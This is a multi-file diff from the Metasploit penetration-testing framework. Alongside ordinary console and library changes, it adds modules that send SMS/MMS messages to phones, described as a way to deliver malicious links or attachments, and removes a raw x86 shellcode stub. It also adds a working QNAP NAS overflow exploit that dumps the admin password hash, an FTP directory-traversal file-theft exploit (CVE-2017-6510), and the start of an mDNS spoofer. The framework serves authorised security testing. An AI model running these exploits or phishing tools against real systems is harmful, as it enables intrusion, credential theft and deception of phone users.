plugin_directories.each do |type, plugin_directory|
items = Dir.entries(plugin_directory).keep_if { |n| n.match(/^.+\.rb$/)}
next if items.empty?
print_status("Available #{type} plugins:")
items.each do |item|
print_line(" * #{item.split('.').first}")
end
print_line
end
end
def load_plugin(args)
path = args[0]
# Default to the supplied argument path.
path = args.shift
opts = {
'LocalInput' => driver.input,
'LocalOutput' => driver.output,
@ -759,7 +766,6 @@ class Core
# If the following "path" doesn't exist it will be caught when we attempt to load
path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name
end
end
# Load that plugin!
@ -773,6 +779,21 @@ class Core
end
end
#
# Loads a plugin from the supplied path. If no absolute path is supplied,
# the framework root plugin directory is used.
#
def cmd_load(*args)
case args[0]
when '-l'
list_plugins
when '-h', nil, ''
cmd_load_help
else
load_plugin(args)
end
end
#
# Tab completion for the load command
#
@ -1531,6 +1552,16 @@ class Core
end
end
# Warn when setting RHOST option for module which expects RHOSTS
if args.first.upcase.eql?('RHOST')
mod = active_module
unless mod.nil?
if !mod.options.include?('RHOST') && mod.options.include?('RHOSTS')
print_warning("RHOST is not a valid option for this module. Did you mean RHOSTS?")
end
end
end
# Set the supplied name to the supplied value
name = args[0]
value = args[1, args.length-1].join(' ')

View File

@ -32,9 +32,10 @@ class Exploit
"exploit" => "Launch an exploit attempt",
"rcheck" => "Reloads the module and checks if the target is vulnerable",
"rexploit" => "Reloads the module and launches an exploit attempt",
"reload" => "Just reloads the module",
"run" => "Alias for exploit",
"recheck" => "Alias for rcheck",
"rerun" => "Alias for rexploit",
"reload" => "Just reloads the module"
})
end
@ -186,6 +187,8 @@ class Exploit
cmd_check(*args)
end
alias cmd_recheck cmd_rcheck
#
# Reloads an exploit module and launches an exploit.
#

View File

@ -63,7 +63,7 @@ class Post
end
#
# Reloads an auxiliary module and executes it
# Reloads a post module and executes it
#
def cmd_rerun(*args)
# Stop existing job and reload the module
@ -75,7 +75,7 @@ class Post
alias cmd_rexploit cmd_rerun
#
# Executes an auxiliary module
# Executes a post module
#
def cmd_run(*args)
opt_str = nil
@ -144,7 +144,7 @@ class Post
print_line "Usage: run [options]"
print_line
print_line "Launches a post module."
print @@auxiliary_opts.usage
print @@post_opts.usage
end
alias cmd_exploit_help cmd_run_help

View File

@ -2,12 +2,12 @@
module Msf
module Util
#
# The class provides methods for creating and encoding executable file
# formats for various platforms. It is a replacement for the previous
# code in Rex::Text
#
class EXE
require 'rex'
@ -50,7 +50,6 @@ require 'msf/core/exe/segment_appender'
# Check if it exists now
return if File.file?(opts[:template])
# If it failed, try the default...
if opts[:fallback]
default_template = File.join(path, exe)
@ -628,67 +627,15 @@ require 'msf/core/exe/segment_appender'
opts[:exe_type] = :service_exe
return exe_sub_method(code,opts)
else
name = opts[:servicename]
name ||= Rex::Text.rand_text_alpha(8)
pushed_service_name = string_to_pushes(name)
ENV['MSF_SERVICENAME'] = opts[:servicename]
precode_size = 0xc6
svcmain_code_offset = precode_size + pushed_service_name.length
opts[:framework] = framework
opts[:payload] = 'stdin'
opts[:encoder] = '@x86/service,'+opts[:serviceencoder]
precode_size = 0xcc
hash_code_offset = precode_size + pushed_service_name.length
precode_size = 0xbf
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
code_service_stopped =
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
"#{pushed_service_name}\x89\xE1\x8D\x47\x03\x6A\x00" +
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
precode_size = 0x42
shellcode_code_offset = code_service_stopped.length + precode_size
# code_service could be encoded in the future
code_service =
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5#{pushed_service_name}\x89\xE1" +
"\x8D\x85#{[svcmain_code_offset].pack('I<')}\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
"#{[hash_code_offset].pack('I<') + pushed_service_name}\x89\xE1\x8D" +
"\x85#{[svcctrlhandler_code_offset].pack('I<')}\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68#{[code.length].pack('I<')}\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
"#{[shellcode_code_offset].pack('I<')}\x54\x68#{[code.length].pack('I<')}" +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
"\x51\x68\xC6\x96\x87\x52\xFF\xD5#{code_service_stopped}"
# Append a new section to the template
Msf::Exe::SegmentAppender.new({
:payload => code_service + code,
:template => opts[:template],
:arch => :x86
}).generate_pe
venom_generator = Msf::PayloadGenerator.new(opts)
code_service = venom_generator.multiple_encode_payload(code)
return to_winpe_only(framework, code_service, opts)
end
end

View File

@ -1435,7 +1435,7 @@ class Def_kernel32
["PDWORD","phModule","out"],
])
dll.add_function( 'GetModuleHandleW', 'DWORD',[
dll.add_function( 'GetModuleHandleW', 'HANDLE',[
["PWCHAR","lpModuleName","in"],
])
@ -1591,7 +1591,7 @@ class Def_kernel32
["PDWORD","pdwHandleCount","out"],
])
dll.add_function( 'GetProcessHeap', 'DWORD',[
dll.add_function( 'GetProcessHeap', 'HANDLE',[
])
dll.add_function( 'GetProcessHeaps', 'DWORD',[
@ -2078,7 +2078,7 @@ class Def_kernel32
["DWORD","dwFlags","in"],
])
dll.add_function( 'HeapCreate', 'DWORD',[
dll.add_function( 'HeapCreate', 'HANDLE',[
["DWORD","flOptions","in"],
["DWORD","dwInitialSize","in"],
["DWORD","dwMaximumSize","in"],
@ -2258,23 +2258,23 @@ class Def_kernel32
["PBLOB","lpCriticalSection","inout"],
])
dll.add_function( 'LoadLibraryA', 'DWORD',[
dll.add_function( 'LoadLibraryA', 'HANDLE',[
["PCHAR","lpLibFileName","in"],
])
dll.add_function( 'LoadLibraryExA', 'DWORD',[
dll.add_function( 'LoadLibraryExA', 'HANDLE',[
["PCHAR","lpLibFileName","in"],
["HANDLE","hFile","inout"],
["DWORD","dwFlags","in"],
])
dll.add_function( 'LoadLibraryExW', 'DWORD',[
dll.add_function( 'LoadLibraryExW', 'HANDLE',[
["PWCHAR","lpLibFileName","in"],
["HANDLE","hFile","inout"],
["DWORD","dwFlags","in"],
])
dll.add_function( 'LoadLibraryW', 'DWORD',[
dll.add_function( 'LoadLibraryW', 'HANDLE',[
["PWCHAR","lpLibFileName","in"],
])

View File

@ -49,7 +49,7 @@ class MultiCaller
# needed by DLL helper
@win_consts = win_consts
if @client.arch == ARCH_X64
if @client.native_arch == ARCH_X64
@native = 'Q<'
else
@native = 'V'

View File

@ -7,6 +7,8 @@ require 'rex/proto/drda'
require 'rex/proto/iax2'
require 'rex/proto/kerberos'
require 'rex/proto/rmi'
require 'rex/proto/sms'
require 'rex/proto/mms'
module Rex
module Proto

4
lib/rex/proto/mms.rb Normal file
View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/proto/mms/exception'
require 'rex/proto/mms/model'

View File

@ -0,0 +1,89 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Client
# @!attribute carrier
# @return [Symbol] The service provider for the phone numbers.
attr_accessor :carrier
# @!attribute smtp_server
# @return [Rex::Proto::Mms::Model::Smtp] The Smtp object with the Smtp settings.
attr_accessor :smtp_server
# Initializes the Client object.
#
# @param [Hash] opts
# @option opts [Symbol] Service provider name (see Rex::Proto::Mms::Model::GATEWAYS)
# @option opts [Rex::Proto::mms::Model::Smtp] SMTP object
#
# @return [Rex::Proto::Mms::Client]
def initialize(opts={})
self.carrier = opts[:carrier]
self.smtp_server = opts[:smtp_server]
validate_carrier!
end
# Sends a media text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param subject [String] MMS subject
# @param message [String] The message to send.
# @param attachment_path [String] (Optional) The attachment to include
# @param ctype [String] (Optional) The content type to use for the attachment
#
# @return [void]
def send_mms_to_phones(phone_numbers, subject, message, attachment_path=nil, ctype=nil)
carrier = Rex::Proto::Mms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
port = self.smtp_server.port
username = self.smtp_server.username
password = self.smtp_server.password
helo_domain = self.smtp_server.helo_domain
login_type = self.smtp_server.login_type
from = self.smtp_server.from
smtp = Net::SMTP.new(address, port)
begin
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
mms_message = Rex::Proto::Mms::Model::Message.new(
message: message,
content_type: ctype,
attachment_path: attachment_path,
from: from,
to: r,
subject: subject
)
smtp.send_message(mms_message.to_s, from, r)
end
end
rescue Net::SMTPAuthenticationError => e
raise Rex::Proto::Mms::Exception, e.message
ensure
smtp.finish if smtp && smtp.started?
end
end
# Validates the carrier parameter.
#
# @raise [Rex::Proto::Mms::Exception] If an invalid service provider is used.
def validate_carrier!
unless Rex::Proto::Mms::Model::GATEWAYS.include?(self.carrier)
raise Rex::Proto::Mms::Exception, 'Invalid carrier.'
end
end
end
end
end
end

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
class Exception < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
GATEWAYS = {
att:'mms.att.net', # AT&T Wireless
sprint: 'pm.sprint.com', # Sprint
tmobile: 'tmomail.net', # T-Mobile
verizon: 'vzwpix.com', # Verizon
google: 'msg.fi.google.com' # Google
}
end
end
end
end
require 'net/smtp'
require 'rex/proto/mms/model/smtp'
require 'rex/proto/mms/model/message'
require 'rex/proto/mms/client'

View File

@ -0,0 +1,108 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Message
# @!attribute message
# @return [String] The text message
attr_accessor :message
# @!attribute content_type
# @return [Fixnum] The content type of the attachment
attr_accessor :content_type
# @!attribute attachment
# @return [String] The loaded attachment converted to Base64
attr_accessor :attachment
# @!attribute from
# @return [String] The from field in the email
attr_accessor :from
# @!attribute to
# @return [String] The to field in the email
attr_accessor :to
# @!attribute subject
# @return [String] The subject of the email
attr_accessor :subject
# @!attribute attachment_name
# @return [String] The attachment base name extracted from :attachment
attr_accessor :attachment_name
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :from
# @option opts [String] :to
# @option opts [String] :message
# @option opts [String] :content_type
# @option opts [String] :attachment_path
#
# @return [Rex::Proto::Mms::Model::Message]
def initialize(opts={})
self.from = opts[:from]
self.to = opts[:to]
self.message = opts[:message]
self.subject = opts[:subject]
self.content_type = opts[:content_type]
if opts[:attachment_path]
self.attachment = load_file_to_base64(opts[:attachment_path])
self.attachment_name = File.basename(opts[:attachment_path])
end
end
# Returns the raw MMS message
#
# @return [String]
def to_s
generate_mms_message
end
private
# Returns the loaded file in Base64 format
#
# @return [String] Base64 data
def load_file_to_base64(path)
buf = File.read(path)
(Rex::Text.encode_base64(buf).scan(/.{,76}/).flatten * "\n").strip
end
# Returns the raw MMS message
#
# @return [String]
def generate_mms_message
text = Rex::MIME::Message.new
text.add_part(self.message, 'text/plain; charset=UTF-8', nil)
body = Rex::MIME::Message.new
body.add_part(text.to_s, "multipart/alternative; boundary=#{text.bound}", nil)
if self.attachment
body.add_part(self.attachment, "#{content_type}; name=\"#{attachment_name}\"", 'base64', "attachment; filename=\"#{attachment_name}\"")
end
mms = "MIME-Version: 1.0\n"
mms << "From: #{self.from}\n"
mms << "To: #{self.to}\n"
mms << "Subject: #{self.subject}\n"
mms << "Content-Type: multipart/mixed; boundary=#{body.bound}\n"
mms << "\n"
mms << body.to_s.gsub(/\-\-\r\n\r\n\-\-_/, "--\n--_")
mms
end
end
end
end
end
end

View File

@ -0,0 +1,64 @@
# -*- coding: binary -*-
module Rex
module Proto
module Mms
module Model
class Smtp
# @!attribute address
# @return [String] SMTP address
attr_accessor :address
# @!attribute port
# @return [Fixnum] SMTP port
attr_accessor :port
# @!attribute username
# @return [String] SMTP account/username
attr_accessor :username
# @!attribute password
# @return [String] SMTP password
attr_accessor :password
# @!attribute login_type
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
attr_accessor :login_type
# @!attribute from
# @return [String] Sender
attr_accessor :from
# @!attribute helo_domain
# @return [String] The domain to use for the HELO SMTP message
attr_accessor :helo_domain
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :address
# @option opts [Fixnum] :port
# @option opts [String] :username
# @option opts [String] :password
# @option opts [String] :helo_domain
# @option opts [Symbol] :login_type
# @option opts [String] :from
#
# @return [Rex::Proto::Mms::Model::Smtp]
def initialize(opts={})
self.address = opts[:address]
self.port = opts[:port] || 25
self.username = opts[:username]
self.password = opts[:password]
self.helo_domain = opts[:helo_domain] || 'localhost'
self.login_type = opts[:login_type] || :login
self.from = opts[:from] || ''
end
end
end
end
end
end

4
lib/rex/proto/sms.rb Normal file
View File

@ -0,0 +1,4 @@
# -*- coding: binary -*-
require 'rex/proto/sms/exception'
require 'rex/proto/sms/model'

View File

@ -0,0 +1,81 @@
# -*- coding: binary -*-
module Rex
module Proto
module Sms
class Client
# @!attribute carrier
# @return [Symbol] The service provider for the phone numbers.
attr_accessor :carrier
# @!attribute smtp_server
# @return [Rex::Proto::Sms::Model::Smtp] The Smtp object with the Smtp settings.
attr_accessor :smtp_server
# Initializes the Client object.
#
# @param [Hash] opts
# @option opts [Symbol] Service provider name (see Rex::Proto::Sms::Model::GATEWAYS)
# @option opts [Rex::Proto::Sms::Model::Smtp] SMTP object
#
# @return [Rex::Proto::Sms::Client]
def initialize(opts={})
self.carrier = opts[:carrier]
self.smtp_server = opts[:smtp_server]
validate_carrier!
end
# Sends a text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param message [String] The text message to send.
#
# @return [void]
def send_text_to_phones(phone_numbers, message)
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
port = self.smtp_server.port
username = self.smtp_server.username
password = self.smtp_server.password
helo_domain = self.smtp_server.helo_domain
login_type = self.smtp_server.login_type
from = self.smtp_server.from
smtp = Net::SMTP.new(address, port)
begin
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
smtp.send_message(message, from, r)
end
end
rescue Net::SMTPAuthenticationError => e
raise Rex::Proto::Sms::Exception, e.message
ensure
smtp.finish if smtp && smtp.started?
end
end
private
# Validates the carrier parameter.
#
# @raise [Rex::Proto::Sms::Exception] If an invalid service provider is used.
def validate_carrier!
unless Rex::Proto::Sms::Model::GATEWAYS.include?(self.carrier)
raise Rex::Proto::Sms::Exception, 'Invalid carrier.'
end
end
end
end
end
end

View File

@ -0,0 +1,10 @@
# -*- coding: binary -*-
module Rex
module Proto
module Sms
class Exception < ::RuntimeError
end
end
end
end

View File

@ -0,0 +1,31 @@
# -*- coding: binary -*-
module Rex
module Proto
module Sms
module Model
GATEWAYS = {
:alltel => 'sms.alltelwireless.com', # Alltel
:att => 'txt.att.net', # AT&T Wireless
:boost => 'sms.myboostmobile.com', # Boost Mobile
:cricket => 'sms.mycricket.com', # Cricket Wireless
# Sprint is commented out, because the gateways don't seem to work.
# Gateways tried for Sprint:
# messaging.sprintpcs.com
# pm.sprint.com
#:sprint => 'messaging.sprintpcs.com', # Sprint
:tmobile => 'tmomail.net', # T-Mobile
:verizon => 'vtext.com', # Verizon
:virgin => 'vmobl.com', # Virgin Mobile
:google => 'msg.fi.google.com' # Google Project Fi
}
end
end
end
end
require 'net/smtp'
require 'rex/proto/sms/model/smtp'
require 'rex/proto/sms/client'

View File

@ -0,0 +1,62 @@
module Rex
module Proto
module Sms
module Model
class Smtp
# @!attribute address
# @return [String] SMTP address
attr_accessor :address
# @!attribute port
# @return [Fixnum] SMTP port
attr_accessor :port
# @!attribute username
# @return [String] SMTP account/username
attr_accessor :username
# @!attribute password
# @return [String] SMTP password
attr_accessor :password
# @!attribute login_type
# @return [Symbol] SMTP login type (:login, :plain, and :cram_md5)
attr_accessor :login_type
# @!attribute from
# @return [String] Sender
attr_accessor :from
# @!attribute helo_domain
# @return [String] The domain to use for the HELO SMTP message
attr_accessor :helo_domain
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :address
# @option opts [Fixnum] :port
# @option opts [String] :username
# @option opts [String] :password
# @option opts [String] :helo_domain
# @option opts [Symbol] :login_type
# @option opts [String] :from
#
# @return [Rex::Proto::Sms::Model::Smtp]
def initialize(opts={})
self.address = opts[:address]
self.port = opts[:port] || 25
self.username = opts[:username]
self.password = opts[:password]
self.helo_domain = opts[:helo_domain] || 'localhost'
self.login_type = opts[:login_type] || :login
self.from = opts[:from] || ''
end
end
end
end
end
end

View File

@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.16'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
# Needed by msfgui and other rpc components

View File

@ -0,0 +1,35 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Mms
def initialize(info = {})
super(update_info(info,
'Name' => 'MMS Client',
'Description' => %q{
This module sends an MMS message to multiple phones of the same carrier.
You can use it to send a malicious attachment to phones.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
end
def run
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending mms message to #{phone_numbers.length} number(s)...")
begin
res = send_mms(phone_numbers, datastore['MMSSUBJECT'], datastore['TEXTMESSAGE'], datastore['MMSFILE'], datastore['MMSFILECTYPE'])
print_status("Done.")
rescue Rex::Proto::Mms::Exception => e
print_error(e.message)
end
end
end

View File

@ -0,0 +1,38 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Sms
def initialize(info = {})
super(update_info(info,
'Name' => 'SMS Client',
'Description' => %q{
This module sends a text message to multiple phones of the same carrier.
You can use it to send a malicious link to phones.
Please note that you do not use this module to send a media file (attachment).
In order to send a media file, please use auxiliary/client/mms/send_mms instead.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE
))
end
def run
phone_numbers = datastore['CELLNUMBERS'].split
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
begin
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
print_status("Done.")
rescue Rex::Proto::Sms::Exception => e
print_error(e.message)
end
end
end

View File

@ -0,0 +1,206 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
'Description' => %q{
This module exploits combined heap and stack buffer overflows for QNAP
NAS and NVR devices to dump the admin (root) shadow hash from memory via
an overwrite of __libc_argv[0] in the HTTP-header-bound glibc backtrace.
A binary search is performed to find the correct offset for the BOFs.
Since the server forks, blind remote exploitation is possible, provided
the heap does not have ASLR.
},
'Author' => [
'bashis', # Vuln/PoC
'wvu', # Module
'Donald Knuth' # Algorithm
],
'References' => [
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'],
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
],
'DisclosureDate' => 'Jan 31 2017',
'License' => MSF_LICENSE,
'Actions' => [
['Automatic', 'Description' => 'Automatic targeting'],
['x86', 'Description' => 'x86 target', offset: 0x16b2],
['ARM', 'Description' => 'ARM target', offset: 0x1562]
],
'DefaultAction' => 'Automatic',
'DefaultOptions' => {
'SSL' => true
}
))
register_options([
Opt::RPORT(443),
OptInt.new('OFFSET_START', [true, 'Starting offset (backtrace)', 2000]),
OptInt.new('OFFSET_END', [true, 'Ending offset (no backtrace)', 5000]),
OptInt.new('RETRIES', [true, 'Retry count for the attack', 10])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/authLogin.cgi'
)
if res && res.code == 200 && (xml = res.get_xml_document)
info = []
%w{modelName version build patch}.each do |node|
info << xml.at("//#{node}").text
end
@target = (xml.at('//platform').text == 'TS-NASX86' ? 'x86' : 'ARM')
vprint_status("QNAP #{info[0]} #{info[1..-1].join('-')} detected")
if Gem::Version.new(info[1]) < Gem::Version.new('4.2.3')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Detected
end
else
Exploit::CheckCode::Safe
end
end
def run
if check == Exploit::CheckCode::Safe
print_error('Device does not appear to be a QNAP')
return
end
admin_hash = nil
(0..datastore['RETRIES']).each do |attempt|
vprint_status("Retry #{attempt} in progress") if attempt > 0
break if (admin_hash = dump_hash)
end
if admin_hash
print_good("Hopefully this is your hash: #{admin_hash}")
report_note(
host: rhost,
port: rport,
type: 'qnap.admin.hash',
data: admin_hash
)
else
print_error('Looks like we didn\'t find the hash :(')
end
vprint_status("#{@cnt} HTTP requests were sent during module run")
end
def dump_hash
l = datastore['OFFSET_START']
r = datastore['OFFSET_END']
start = Time.now
t = binsearch(l, r)
stop = Time.now
time = stop - start
vprint_status("Binary search of #{l}-#{r} completed in #{time}s")
if action.name == 'Automatic'
target = actions.find do |tgt|
tgt.name == @target
end
else
target = action
end
return if t.nil? || @offset.nil? || target.nil?
offset = @offset - target[:offset]
find_hash(t, offset)
end
def find_hash(t, offset)
admin_hash = nil
# Off by one or two...
2.times do
t += 1
if (res = send_request(t, [offset].pack('V')))
if (backtrace = find_backtrace(res))
token = backtrace[0].split[4]
end
end
if token && token.start_with?('$1$')
admin_hash = token
addr = "0x#{offset.to_s(16)}"
vprint_status("Admin hash found at #{addr} with offset #{t}")
break
end
end
admin_hash
end
# Shamelessly stolen from Knuth
def binsearch(l, r)
return if l > r
@m = ((l + r) / 2).floor
res = send_request(@m)
return if res.nil?
if find_backtrace(res)
l = @m + 1
else
r = @m - 1
end
binsearch(l, r)
@m
end
def send_request(m, ret = nil)
@cnt = @cnt.to_i + 1
payload = Rex::Text.encode_base64(
Rex::Text.rand_text(1) * m +
(ret ? ret : Rex::Text.rand_text(4))
)
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/cgi.cgi',
#'vhost' => 'Q',
'vars_get' => {
'u' => 'admin',
'p' => payload
}
)
res
end
def find_backtrace(res)
res.headers.find do |name, val|
if name.include?('glibc detected')
@offset = val.split[-2].to_i(16)
end
end
end
end

View File

@ -33,8 +33,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
], self.class)
end

View File

@ -0,0 +1,112 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '../'
},
'Platform' => 'win',
'Author' =>
[
'Ahmed Elhady Mohamed' # @kingasmk ahmed.elhady.mohamed[at]gmail.com
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6510']
],
'DisclosureDate' => 'Mar 07 2017'
))
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
], self.class)
end
def check_host(ip)
begin
connect
if /Easy File Sharing FTP Server/i === banner
return Exploit::CheckCode::Detected
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
# Login anonymously and open the socket that we'll use for data retrieval.
connect_login
sock = data_connect
if sock.nil?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore['PATH']
file = ::File.basename(file_path)
# make RETR request and store server response message...
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])
# read the file data from the socket that we opened
# dont assume theres still a sock to read from. Per #7582
if sock.nil?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
# read the file data from the socket that we opened
response_data = sock.read(1024)
end
unless response_data
print_error("#{file_path} not found")
return
end
if response_data.length == 0 or ! (res =~ /^150/ )
print_status("File (#{file_path})from #{peer} is empty...")
return
end
# store file data to loot
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
ensure
data_disconnect
disconnect
end
end
end

View File

@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary
This module allows you to open an android meterpreter via a browser. An Android
meterpreter must be installed as an application beforehand on the target device
in order to use this.
For best results, you can consider using the auxiliary/client/sms/send_text to
trick your target into opening the malicious link, and wake up Meterpreter.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],

View File

@ -0,0 +1,253 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'socket'
require 'ipaddr'
require 'net/dns'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'mDNS Spoofer',
'Description' => %q{
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
},
'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]
],
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options([
OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]),
